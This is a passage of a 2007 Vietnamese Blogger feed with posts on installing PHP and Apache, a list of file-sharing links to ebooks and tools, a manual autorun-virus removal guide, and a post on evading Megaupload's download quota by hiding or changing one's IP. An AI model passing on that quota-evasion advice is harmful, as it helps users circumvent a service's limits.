nhận được màn hình chào đón của phpMyAdmin thì XIN CHÚC MỪNG! Bạn đã thành công!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-8000724414735092859?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/8000724414735092859/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=8000724414735092859' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/8000724414735092859'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/8000724414735092859'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/07/ci-t-mysql.html' title='+ CÀI ĐẶT MYSQL'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-8605784595737977453</id><published>2007-07-06T00:07:00.001-07:00</published><updated>2007-07-06T00:12:52.666-07:00</updated><title type='text'>+ CÀI ĐẶT PHP</title><content type='html'>Download PHPBạn có thể download PHP for Windows tại địa chỉ: &lt;a href="http://www.php.net/downloads.php"&gt;http://www.php.net/downloads.php&lt;/a&gt;.&lt;br /&gt;- Nếu đường truyền bạn chậm thì bạn có thể download phần &lt;a href="http://www.php.net/do_download.php?download_file=php406-installer.exe"&gt;PHP 4.0.6 installer&lt;/a&gt; (755Kb): chỉ có PHP-CGI- Còn nếu muốn bạn có thể download trọn gói PHP về &lt;a href="http://www.php.net/do_download.php?download_file=php-4.0.6-Win32.zip"&gt;PHP 4.0.6 zip package&lt;/a&gt; (4.7Mb): PHP-CGI và PHP-Module&lt;br /&gt;Cài đặt PHPCác bước chi tiết cài đặt PHP được minh hoạ như sau (tôi dùng Win98SE và PHP 4.0.6 for Windows)&lt;br /&gt;Bước 1: Sau khi download PHP, bạn double click lên file .exe vừa download, một hộp thoại sẽ hiện ra như hình bên. Bạn click vào nút Next, rồi nhấn I Agree để sang bước 2.&lt;br /&gt;Bước 2: Bạn chọn phần Advanced và nhấn Next để sang bước tiếp theo.&lt;br /&gt;Bước 3,4,5: Bạn chọn thư mục để cài PHP, File upload và Session data, mặc định lần lượt sẽ là C:\PHP, C:\PHP\uploadtemp và C:\PHP\sessiondata.&lt;br /&gt;Bước 6: Bạn điền địa chỉ SMTP và email của admin. Nếu chạy trên máy local bạn đặt là localhost và admin@localhost. Nhấn Next để sang bước tiếp theo.&lt;br /&gt;Bước 7: Bạn chọn phần đầu tiên: Display all errors warnings and notices và nhấn Next để sang bước tiếp theo.&lt;br /&gt;Bước 8: Bạn chọn kiểu web server thích hợp (ở đây là Apache) và nhấn Next, rồi lại Next một lần nữa để bắt đầu cài đặt.&lt;br /&gt;Bước 9: Bạn chỉ có việc ngồi chờ trong khi chương trình cài đặt copy các file lên đĩa cứng của bạn.&lt;br /&gt;Lưu ý: Sau khi copy file xong, rất có thể PHP sẽ báo là không thể update được file httd.conf của Apache. Bạn đừng lo lắng, hãy nhấn OK để tiếp tục, chúng ta sẽ cấu hình Apache sau.&lt;br /&gt;Bước 10: Sau khi PHP đã cài đặt xong, bạn nhớ khởi động lại máy trước khi tiếp tục.&lt;br /&gt;Cấu hình Apache để chạy PHPBạn hãy mở file httpd.conf của Apache ra (bạn còn nhớ file đó nằm đâu chứ? nếu quên bạn hãy xem lại phần &lt;a href="http://www.diendantinhoc.net/tute/hethong/apache-mysql-php-perl/apache.html#config"&gt;Cài đặt Apache&lt;/a&gt;) và thêm vào 3 dòng sau:ScriptAlias /php/ "c:/php/"AddType application/x-httpd-php .phpAction application/x-httpd-php "/php/php.exe"&lt;br /&gt;Tiếp theo bạn tìm đến dòng bắt đầu bằng DirectoryIndex, bạn sẽ thấy dòng đó có dạng như sau:DirectoryIndex index.htmlDòng đó cho bạn biết rằng file index.html được xem như là file index mặc định của một thư mục. Bạn sửa lại dòng đó như sau:DirectoryIndex index.html index.htm index.cgi index.php&lt;br /&gt;Lưu file httpd.conf và khởi động lại Apache.&lt;br /&gt;Chạy thử PHP với ApacheBạn tạo 1 file hello.php trong thư mục C:\www với nội dung như sau:&lt;br /&gt;Tiếp theo bạn mở IE và truy cập vào địa chỉ http://localhost/hello.php. Nếu bạn nhận được dòng chữ Hello, world! thì XIN CHÚC MỪNG! Bạn đã cài đặt thành công PHP rồi đó!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-8605784595737977453?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/8605784595737977453/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=8605784595737977453' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/8605784595737977453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/8605784595737977453'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/07/ci-t-php.html' title='+ CÀI ĐẶT PHP'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-2208125094708886852</id><published>2007-07-06T00:06:00.001-07:00</published><updated>2007-07-06T00:06:58.589-07:00</updated><title type='text'>+ CÀI ĐẶT APACHE WEB SERVER</title><content type='html'>Download Apache Web ServerBạn có thể download Apache Web Server ở &lt;a href="http://www.apache.org/dist/httpd/binaries/win32/"&gt;http://www.apache.org/dist/httpd/binaries/win32/&lt;/a&gt;. Bạn chú ý chọn phiên bản thích hợp với hệ điều hành mà bạn đang dùng.&lt;br /&gt;- Apache 1.3.20 for Win: &lt;a href="http://www.apache.org/dist/httpd/binaries/win32/apache_1.3.20-win32-no_src-r2.msi"&gt;http://www.apache.org/dist/httpd/binaries/win32/apache_1.3.20-win32-no_src-r2.msi&lt;/a&gt;- Apache 1.3.22 for Win: &lt;a href="http://www.apache.org/dist/httpd/binaries/win32/apache_1.3.22-win32-x86.msi"&gt;http://www.apache.org/dist/httpd/binaries/win32/apache_1.3.22-win32-x86.msi&lt;/a&gt;&lt;br /&gt;Cài đặt ApacheCác bước chi tiết cài đặt Apache được minh hoạ như sau (tôi dùng Win98SE và Apache 1.3.20)&lt;br /&gt;Bước 1: Sau khi download Apache, bạn double click lên file .msi vừa download, một hộp thoại sẽ hiện ra như hình bên. Bạn click vào nút Next để sang bước 2.&lt;br /&gt;Bước 2: Bạn chọn phần "I accept the terms in the license agreement" và nhấn Next, tiếp tục nhấn Next một lần nữa để sang bước 3.&lt;br /&gt;Bước 3: bạn điền localhost vào phần Networl Domain và Server Name, điền admin@localhost vào phần Aministrator's Email Address. Click Next để sang bước tiếp theo.&lt;br /&gt;Bước 4: Bạn chọn Custom và nhấn Next để tiếp tục.&lt;br /&gt;Bước 5: Bạn chọn thư mục để cài Apache (nhấn nút Change), mặc định là C:\Program Files\Apache Group. Nhấn Next, rồi nhấn Next lần nữa để sang bước 6.&lt;br /&gt;Bước 6: Apache sẽ bắt đầu cài đặt các file vào đĩa cứng của bạn. Bạn chỉ có việc là...ngồi chờ.&lt;br /&gt;Bước 7: Sau khi Apache đã cài đặt xong, bạn khởi động lại máy trước khi tiếp tục.&lt;br /&gt;Chạy thử Apache: Sau khi khởi động, bạn chạy Apache từ Star Menu: Sau đó bạn khởi động IE và truy cập vào địa chỉ http://localhost, nếu bạn nhận được màn hình đón chào của Apache thì có nghĩa là bạn đã cài đặt t hành công Apache.&lt;br /&gt;Cấu hình ApacheMặc định Apache sẽ đặt trang web của bạn ở C:\Program Files\Apache Group\htdocs, tuy nhiên bạn có thể cấu hình để sử dụng thư mục khác (tôi dùng thư mục C:\www).&lt;br /&gt;Trước tiên bạn tạo thư mục www trong đĩa C: và tạo thêm thư mục cgi-bin ở trong thư mục www vừa tạo.Tiếp theo, bạn mở file C:\Program Files\Apache Group\conf\httpd.conf bằng một chương trình text editor nào đó.Bạn tìm đến dòng bắt đầu bằng DocumentRoot và sửa lại giá trị của DocumentRoot từ C:\Program Files\Apache Group\htdocs thành C:\www, và tìm sửa dòng &lt;directory&gt; thành &lt;directory&gt;.Tiếp them bạn tìm dòng bắt đầu bằng ScriptAlias /cgi-bin/ và sửa lại giá trị của cgi-bin từ C:/Program Files/Apache Group/htdocs/cgi-bin thành c:/www/cgi-bin.Và cuối cùng bạn tìm dòng &lt;directory&gt; và sửa lại thành &lt;directory&gt;. Bạn sẽ đặt các file Perl-CGI của bạn ở trong thư mục này.Lưu file httpd.conf, thoát và khởi động lại Apache.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-2208125094708886852?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/2208125094708886852/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=2208125094708886852' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/2208125094708886852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/2208125094708886852'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/07/ci-t-apache-web-server.html' title='+ CÀI ĐẶT APACHE WEB SERVER'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-7344917827042749484</id><published>2007-07-05T19:34:00.000-07:00</published><updated>2007-07-05T23:16:48.629-07:00</updated><title type='text'>Các Ebook hay đây và các Tool kèm theo</title><content type='html'>&lt;span style="color:#ff0000;"&gt;LẬP TRÌNH WEB ĐỘNG VỚI PHP MYSQL&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19290360/1c0c1d9d/LAP_TRINH_WEB_VOI_PHP_MYSQL.html"&gt;http://www.4shared.com/file/19290360/1c0c1d9d/LAP_TRINH_WEB_VOI_PHP_MYSQL.html&lt;/a&gt;&lt;br /&gt;Các TOOL:&lt;br /&gt;Apache 1.3.37&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19295034/538e63aa/apache_1337-os2.html"&gt;http://www.4shared.com/file/19295034/538e63aa/apache_1337-os2.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Apache 2.0.59&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19295151/747c5a94/httpd-2059-os2.html"&gt;http://www.4shared.com/file/19295151/747c5a94/httpd-2059-os2.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Apache 2.2.4&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19295466/c7fe5e1f/httpd-224-os2.html"&gt;http://www.4shared.com/file/19295466/c7fe5e1f/httpd-224-os2.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;PHP My Admin 2.10.1&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19298363/40b164c8/phpMyAdmin-2101-all-languages.html"&gt;http://www.4shared.com/file/19298363/40b164c8/phpMyAdmin-2101-all-languages.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;PHP My Admin 2.5.7&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19296073/bb339ce3/phpMyAdmin-257-pl1.html"&gt;http://www.4shared.com/file/19296073/bb339ce3/phpMyAdmin-257-pl1.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;PHP My Admin 2.9.0.2&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19295702/948f83d9/phpMyAdmin-2902-all-languages.html"&gt;http://www.4shared.com/file/19295702/948f83d9/phpMyAdmin-2902-all-languages.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;PHP 5.2.1&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19294962/70f76e30/php-521-os2.html"&gt;http://www.4shared.com/file/19294962/70f76e30/php-521-os2.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;MySQL 5.0.41&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19291191/57ab82cf/mysql-5041-os2.html"&gt;http://www.4shared.com/file/19291191/57ab82cf/mysql-5041-os2.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;MySQL 4.1.7b2&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19295949/6dafb25f/mysql-4-1-7-b2.html"&gt;http://www.4shared.com/file/19295949/6dafb25f/mysql-4-1-7-b2.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;GIÁO TRÌNH CĂN BẢN VỀ PHP&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19295077/aeebf714/Can_ban_PHP.html"&gt;http://www.4shared.com/file/19295077/aeebf714/Can_ban_PHP.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;KỸ THUẬT LẬP TRÌNH C++&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19294825/8b3d54a0/Ky_Thuat_Lap_Trinh_CSharp_210_14013.html"&gt;http://www.4shared.com/file/19294825/8b3d54a0/Ky_Thuat_Lap_Trinh_CSharp_210_14013.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;KỸ THUẬT LẬP TRÌNH HƯỚNG ĐỐI TƯỢNG JAVA&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19290699/e4837b1d/OOP_JAVA.html"&gt;http://www.4shared.com/file/19290699/e4837b1d/OOP_JAVA.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;GIÁO TRÌNH VISUAL BASIC&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19295554/31f06c7/Giao_trinh_Visual_Basic_84588.html"&gt;http://www.4shared.com/file/19295554/31f06c7/Giao_trinh_Visual_Basic_84588.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;MẠNG MÁY TÍNH&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19295962/c84b0955/Mang_may_tinh_tieng_viet.html"&gt;http://www.4shared.com/file/19295962/c84b0955/Mang_may_tinh_tieng_viet.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19295975/4f34adb7/Mang_may_tinh_tieng_viet.html"&gt;http://www.4shared.com/file/19295975/4f34adb7/Mang_may_tinh_tieng_viet.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;QUẢN TRỊ MẠNG NÂNG CAO&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19290536/8c95305f/Quan_Tri_Mang_Nang_Cao_-_Apptec_Bach_Khoa.html"&gt;http://www.4shared.com/file/19290536/8c95305f/Quan_Tri_Mang_Nang_Cao_-_Apptec_Bach_Khoa.html&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="color:#ff0000;"&gt;KỸ THUẬT PHẦN CỨNG&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#ff0000;"&gt;&lt;a href="http://www.4shared.com/file/19295812/86c8f5a5/KTPC.html"&gt;http://www.4shared.com/file/19295812/86c8f5a5/KTPC.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#ff0000;"&gt;CÀI ĐẶT MẠNG BOOT ROM&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19295878/3047bb3d/HuongdancaidatBootRoom.html"&gt;http://www.4shared.com/file/19295878/3047bb3d/HuongdancaidatBootRoom.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;CÀI ĐẶT WIN2K SERVER&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19295865/57edf6c1/Cai_dat_Win2k_Server.html"&gt;http://www.4shared.com/file/19295865/57edf6c1/Cai_dat_Win2k_Server.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;HỆ THỐNG PHÁT TRIỂN XÂM NHẬP&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19295600/7b4388c2/He_Thong_Phat_Hien_Xam_Nhap.html"&gt;http://www.4shared.com/file/19295600/7b4388c2/He_Thong_Phat_Hien_Xam_Nhap.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;BẢO VỆ HOSTING SERVER&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19295503/e00c6721/baovehosting_server.html"&gt;http://www.4shared.com/file/19295503/e00c6721/baovehosting_server.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/file/19295515/1074f355/baovehosting_server.html"&gt;http://www.4shared.com/file/19295515/1074f355/baovehosting_server.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-7344917827042749484?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/7344917827042749484/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=7344917827042749484' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/7344917827042749484'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/7344917827042749484'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/07/cc-ebook-hay-y-v-cc-tool-km-theo.html' title='Các Ebook hay đây và các Tool kèm theo'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-6029196025562241428</id><published>2007-07-04T23:06:00.000-07:00</published><updated>2007-07-04T23:27:05.148-07:00</updated><title type='text'>Các cách download tại Megaupload</title><content type='html'>Cách 2 :&lt;br /&gt;&lt;br /&gt;- Down software Universal share downloader tại trang : http://www.dimonius.ru/dusd.php&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- Down software Rapget tại trang :&lt;br /&gt;http://www.rapget.com/en/download.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2 cái này cũng như những trình download bịnh thường khác. Nhưng nó hỗ trợ get link trực tiếp từ Megaupload&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cách 3 :&lt;br /&gt;&lt;br /&gt;Như các bạn đã biết trước đây các bạn đã từng dùng 1 link gián tiếp để down các link của Mega đó là trang&lt;br /&gt;www.anonymouse.org/anonwww.html&lt;br /&gt;nhưng trang đó bây giờ cũng ko còn tác dụng nữa, bây giờ thì chúng ta có thể dùng 1 trang khác khá hay so với trang trên đó là trang&lt;br /&gt;www.whereismyproxy.com/easyweb/&lt;br /&gt;&lt;br /&gt;( Update 4/7/06 : trang http://www.whereismyproxy.com/easyweb có vẻ bị down rồi. Thành thật xin lỗi, nhưng các bạn cũng có thể tìm proxy tại http://www.whereismyproxy.com )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cách hỗ trợ để down liên tục ko bị bandwidth :&lt;br /&gt;&lt;br /&gt;Dùng chương trình Hide Platinum dùng để đảm bảo an toàn khi lướt mạng, có nghĩa là nó sẽ giấu IP cùa máy tình khi bạn lướt mạng.&lt;br /&gt;Ví dụ khi bạn download bằng Mega chỉ cho 1Gb download trong một ngày bạn nào download nhiều sẽ ko được ---&gt;&gt; thì bạn hãy dùng Hide Platinum này để thay đổi IP và bạn có thể download thoải mái.Nhớ tắt trương trình download di sau đó bạn thay đồi lại IP rồi download tiếp hoặc khởi đông lại máy nếu ko download duoc tiếp. Download về nhớ install, Nhưng mà nhiều khi dùng cái này nó, làm hơi chậm khi lướt mạng.&lt;br /&gt;( Có thể dùng cách này down trực tiếp, ko cần 3 cách trên )&lt;br /&gt;&lt;br /&gt;Link download : http://www.megaupload.com/de/?d=JWXL4A2M&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hiện giờ mình đang nghiên cứu cách thứ 4 &amp; 5. Nếu thành công thì sẽ nhờ mod update. Các bạn chờ nha. &lt;br /&gt;&lt;br /&gt;Nếu xài 3 cách này mà còn down ko dc. thì kêu admin lock nick mình đi  ( trừ khi cái file nó die rồi thì mới down ko dc. thui  ) &lt;br /&gt;&lt;br /&gt;Updated ( 1h15' am 6/7/06 ) Cách 4 &amp; 5 : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cách 5 :&lt;br /&gt;&lt;br /&gt;Cách này thì ai cũng biết, đó là xài Alexa Toolbar. &lt;br /&gt;&lt;br /&gt;Down Alexa Toolbar tại : http://www.download.alexa.com &lt;br /&gt;&lt;br /&gt;Lúc này khi muốn down tại mega thì để cho Alexa Toolbar hiển thị, nếu nó ko hiển thị thì vào View - Toolbars - Alexa&lt;br /&gt;&lt;br /&gt;( Thật ra cách này là cách dỏm nhất, mọi người có thấy vậy ko  Lâu lâu thì có 1 vài file làm dc. chứ bình thường chỉ là thứ " cùi bắp ". Nhưng thôi cứ đưa nó vào Mega download Collection vậy ^^ )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Recommended : &lt;br /&gt;Các bạn nên sử dụng FireFox, vì Megaupload quá phổ biến nên chuyện có Spyware hay Virus trên đây là hoàn toàn có thể. FF bảo mật tốt hơn IE, lại hỗ trợ down, rất thích hợp cho việc download tại Megaupload.&lt;br /&gt;&lt;br /&gt;Down FireFox tại : http://www.getfirefox.com&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://rapid-hook.com/ ----&gt; add rapidshare.com link &lt;br /&gt;&lt;br /&gt;http://www.rapidhack.net/ ----&gt; add rapidshare.de link.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-6029196025562241428?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/6029196025562241428/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=6029196025562241428' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/6029196025562241428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/6029196025562241428'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/07/cc-cch-download-ti-megaupload.html' title='Các cách download tại Megaupload'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-5766846426517727256</id><published>2007-06-25T20:51:00.000-07:00</published><updated>2007-06-25T20:52:44.520-07:00</updated><title type='text'>Diệt Virus Autoplay</title><content type='html'>Các bước thực hiện:&lt;br /&gt;1. Open My computer&lt;br /&gt;2. chọn menu Tools -&gt; chọn Folder options.&lt;br /&gt;2. chọn Tab view.&lt;br /&gt;3. bạn thấy biểu tượng Folder "Hidden files and folder"&lt;br /&gt;4. check vào "Show Hidden files and folder"&lt;br /&gt;5 . bạn thấy phía dưới nó có 2 ô là " Hide extensions for know và Hide protect operating system (recom)&lt;br /&gt;bỏ dấu check trong 2 ô đó đi ( disable ) &lt;br /&gt;6. press Apply&lt;br /&gt;7. press ok.&lt;br /&gt;8. click chuột phải lên Taskbar &lt;br /&gt;9. click Task Manager&lt;br /&gt;10. chọn Table Processes&lt;br /&gt;11. tìm wscript.exe và click vào nó &lt;br /&gt;12. click vào End Process&lt;br /&gt;13. open drive&lt;br /&gt;14. không double click.&lt;br /&gt;15. dùng chuột phải &lt;br /&gt;16. delete file autorun.inf and ms32dll.dll.vbs&lt;br /&gt;17. right click at explore&lt;br /&gt;18. then delete file.&lt;br /&gt;19. after, right click at explore&lt;br /&gt;20. delete autorun.inf and ms32dll.dll.vbs bằng tổ hợp phím Shift+Delete&lt;br /&gt;21. all drive in my com .&lt;br /&gt;22. after that&lt;br /&gt;23. delete at Handy drive and floppy disk too.&lt;br /&gt;24. by Shift+Delete .&lt;br /&gt;25. open --- C:WINDOWS for&lt;br /&gt;26. delete MS32DLL.dll.vbs by Shift+Delete too.&lt;br /&gt;27. Start--&gt;Run --&gt; gõ vào "regedit" rồi chọn ok.&lt;br /&gt;28. choose "HKEY_LOCAL_MACHINE --&gt; Software --&gt; Current Version --&gt; Run "&lt;br /&gt;29. delete MS32DLL by press "delete" at keyboard.&lt;br /&gt;30. delete!!!!! &lt;br /&gt;31. HKEY_CURRENT_USER --&gt; Software --&gt; Microsoft --&gt; Internet Explorer --&gt; Main&lt;br /&gt;32. delete file at Window Title "Hacked by Godzilla"&lt;br /&gt;33. by press "Delete"&lt;br /&gt;34. Start --&gt; Run gõ " gpedit.msc" --&gt; ok&lt;br /&gt;35. afterwards&lt;br /&gt;36. appear dialog " Group Policy"&lt;br /&gt;37. choose , User Configuration --&gt; Administrative Templates --&gt; System --&gt; Double Click file Turn off Autoplay&lt;br /&gt;38. appear dialog "turn off Autoplay properties&lt;br /&gt;39. click to choose "Enabled"&lt;br /&gt;40. choose "All Drives"&lt;br /&gt;41. click "ok"&lt;br /&gt;42. afterwards&lt;br /&gt;43. Start --&gt; Run print " msconfig" then ok&lt;br /&gt;44. appear dialog "System Configuration Utility"&lt;br /&gt;45. choose Tap "Startup"&lt;br /&gt;46. no mark in front file MS32DLL&lt;br /&gt;47. press "Apply"&lt;br /&gt;48. press "ok" or "Close"&lt;br /&gt;49. appear dialog box "System Configuration"&lt;br /&gt;50. choose "Exit Wihtout Restart"&lt;br /&gt;51. Double Click "My Computer"&lt;br /&gt;52. choose ----Menu Tools ---&gt; Folder options&lt;br /&gt;53. Tap View&lt;br /&gt;54. no mark in font "Hide extention… and Hide protected operating system file&lt;br /&gt;55. press "OK"&lt;br /&gt;56. last step.&lt;br /&gt;57. right click at Recycle bin&lt;br /&gt;58. choose "Shortcut Menu"&lt;br /&gt;59. choose command "Empty Recycle bin"&lt;br /&gt;&lt;br /&gt;mình dc biết có vài soft antivirus diệt dc loại VBS này , xin giới thiệu với bạn &lt;br /&gt;Panda 9.0 , McAfee , Kaspersky , symantec antivirus 9. ( nhớ update tới ngày 01/02/2007 nhé&lt;br /&gt;tắt chức năng System Restore đi sau đó quét toàn bộ hệ thống trong chế độ Safe Mode )&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-5766846426517727256?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/5766846426517727256/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=5766846426517727256' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/5766846426517727256'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/5766846426517727256'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/06/dit-virus-autoplay.html' title='Diệt Virus Autoplay'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-9069256587900820946</id><published>2007-06-21T05:04:00.001-07:00</published><updated>2007-06-21T05:04:57.003-07:00</updated><title type='text'>Cấu hình Winrouter</title><content type='html'>Mình có tìm được ở một trang khác có tài liệu hướng dẫn config WinRoute, mình trích một đoạn gởi cho bạn xem nha.&lt;br /&gt;&lt;br /&gt;(Cảm ơn tác giả của bài viết này)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;WinRoute Server &lt;br /&gt;Ðể có thể cấu hình 